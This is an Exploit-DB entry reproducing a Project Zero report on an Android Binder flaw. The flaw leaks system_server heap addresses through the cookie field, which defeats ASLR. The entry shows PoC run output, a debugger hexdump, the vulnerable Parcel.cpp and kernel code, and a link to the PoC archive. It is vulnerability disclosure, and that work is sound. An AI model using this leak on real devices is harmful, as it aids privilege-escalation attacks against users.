Google Android - Binder Generic ASLR Leak

EDB-ID:

40515




Platform:

Android

Date:

2016-10-12


Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=889

The interaction between the kernel /dev/binder and the usermode Parcel.cpp mean
that when a binder object is passed as BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER,
a pointer to that object (in the server process) is leaked to the client process
as the cookie value. This leads to a leak of a heap address in many of the privileged
binder services, including system_server.

See attached PoC, which leaks the addresses of allocated heap objects in system_server.

Output running from the shell (run on droidfood userdebug build, MTC19X):

shell@bullhead:/ $ /data/local/tmp/binder_info_leak                            
--- binder info leak ---
[0] opening /dev/binder
[0] looking up activity
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 08 . 00 . 00 . 00 . 61 a 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 .
0080: 74 t 00 . 79 y 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000005500000001  cookie 0000000000000000
[0] got handle 00000001
0000: 00 . 01 . 00 . 00 . 1c . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 61 a 00 . 70 p 00 . 70 p 00 . 2e . 00 .
0032: 49 I 00 . 41 A 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 74 t 00 .
0048: 79 y 00 . 4d M 00 . 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 .
0064: 00 . 00 . 00 . 00 . 05 . 00 . 00 . 00 . 70 p 00 . 77 w 00 . 6e n 00 . 65 e 00 .
0080: 64 d 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 28  offs 8
0000: 00 . 00 . 00 . 00 . 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 .
0016: 7f . 00 . 00 . 00 . c0 . 19 . 9d . 8b . 7f . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000007f00000002  cookie 0000007f8b9d19c0
[0] got handle 00000000


Debugger output from system_server

pwndbg> hexdump 0x0000007f8b9d19c0
+0000 0x7f8b9d19c0  38 35 76 ab  7f 00 00 00  00 00 00 00  00 00 00 00  |85v.|....|....|....|
+0010 0x7f8b9d19d0  65 00 6e 00  74 00 5f 00  40 d1 0c a8  7f 00 00 00  |e.n.|t._.|@...|....|
+0020 0x7f8b9d19e0  6a 16 20 00  00 00 00 00  20 ad 81 ab  7f 00 00 00  |j...|....|....|....|
+0030 0x7f8b9d19f0  e0 fc 7f 8e  7f 00 00 00  a0 f2 c7 8a  7f 00 00 00  |....|....|....|....|
+0040 0x7f8b9d1a00  

This is pretty obviously the case; the code in Parcel.cpp that flattens binder objects
to pass via binder transactions:

status_t flatten_binder(const sp<ProcessState>& /*proc*/,
    const sp<IBinder>& binder, Parcel* out)
{
    flat_binder_object obj;

    obj.flags = 0x7f | FLAT_BINDER_FLAG_ACCEPTS_FDS;
    if (binder != NULL) {
        IBinder *local = binder->localBinder();
        if (!local) {
            BpBinder *proxy = binder->remoteBinder();
            if (proxy == NULL) {
                ALOGE("null proxy");
            }
            const int32_t handle = proxy ? proxy->handle() : 0;
            obj.type = BINDER_TYPE_HANDLE;
            obj.binder = 0; /* Don't pass uninitialized stack data to a remote process */
            obj.handle = handle;
            obj.cookie = 0;
        } else {
            obj.type = BINDER_TYPE_BINDER;
            obj.binder = reinterpret_cast<uintptr_t>(local->getWeakRefs());
            obj.cookie = reinterpret_cast<uintptr_t>(local); // <--- is a pointer to the object
        }
    } else {
        obj.type = BINDER_TYPE_BINDER;
        obj.binder = 0;
        obj.cookie = 0;
    }

    return finish_flatten_binder(binder, obj, out);
}

and the kernel code which processes this to send to the target process modifies
the fp->handle entry, overwriting fp->binder, but does not alter fp->cookie, which
contains the second pointer.

    case BINDER_TYPE_BINDER:
    case BINDER_TYPE_WEAK_BINDER: {
      struct binder_ref *ref;
      struct binder_node *node = binder_get_node(proc, fp->binder);
      if (node == NULL) {
        node = binder_new_node(proc, fp->binder, fp->cookie);
        if (node == NULL) {
          return_error = BR_FAILED_REPLY;
          goto err_binder_new_node_failed;
        }
        node->min_priority = fp->flags & FLAT_BINDER_FLAG_PRIORITY_MASK;
        node->accept_fds = !!(fp->flags & FLAT_BINDER_FLAG_ACCEPTS_FDS);
      }
      if (fp->cookie != node->cookie) {
        binder_user_error("%d:%d sending u%016llx node %d, cookie mismatch %016llx != %016llx\n",
          proc->pid, thread->pid,
          (u64)fp->binder, node->debug_id,
          (u64)fp->cookie, (u64)node->cookie);
        goto err_binder_get_ref_for_node_failed;
      }
      if (security_binder_transfer_binder(proc->tsk, target_proc->tsk)) {
        return_error = BR_FAILED_REPLY;
        goto err_binder_get_ref_for_node_failed;
      }
      ref = binder_get_ref_for_node(target_proc, node);
      if (ref == NULL) {
        return_error = BR_FAILED_REPLY;
        goto err_binder_get_ref_for_node_failed;
      }
      if (fp->type == BINDER_TYPE_BINDER)
        fp->type = BINDER_TYPE_HANDLE;
      else
        fp->type = BINDER_TYPE_WEAK_HANDLE;
      fp->handle = ref->desc;
      binder_inc_ref(ref, fp->type == BINDER_TYPE_HANDLE,
               &thread->todo);
      trace_binder_transaction_node_to_ref(t, node, ref);
      binder_debug(BINDER_DEBUG_TRANSACTION,
             "        node %d u%016llx -> ref %d desc %d\n",
             node->debug_id, (u64)node->ptr,
             ref->debug_id, ref->desc);
    } break;

In the case of 64-bit processes, we also leak the high dword of the fp->binder pointer, because 
a uint32_t is smaller than a binder_uintptr_t.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40515.zip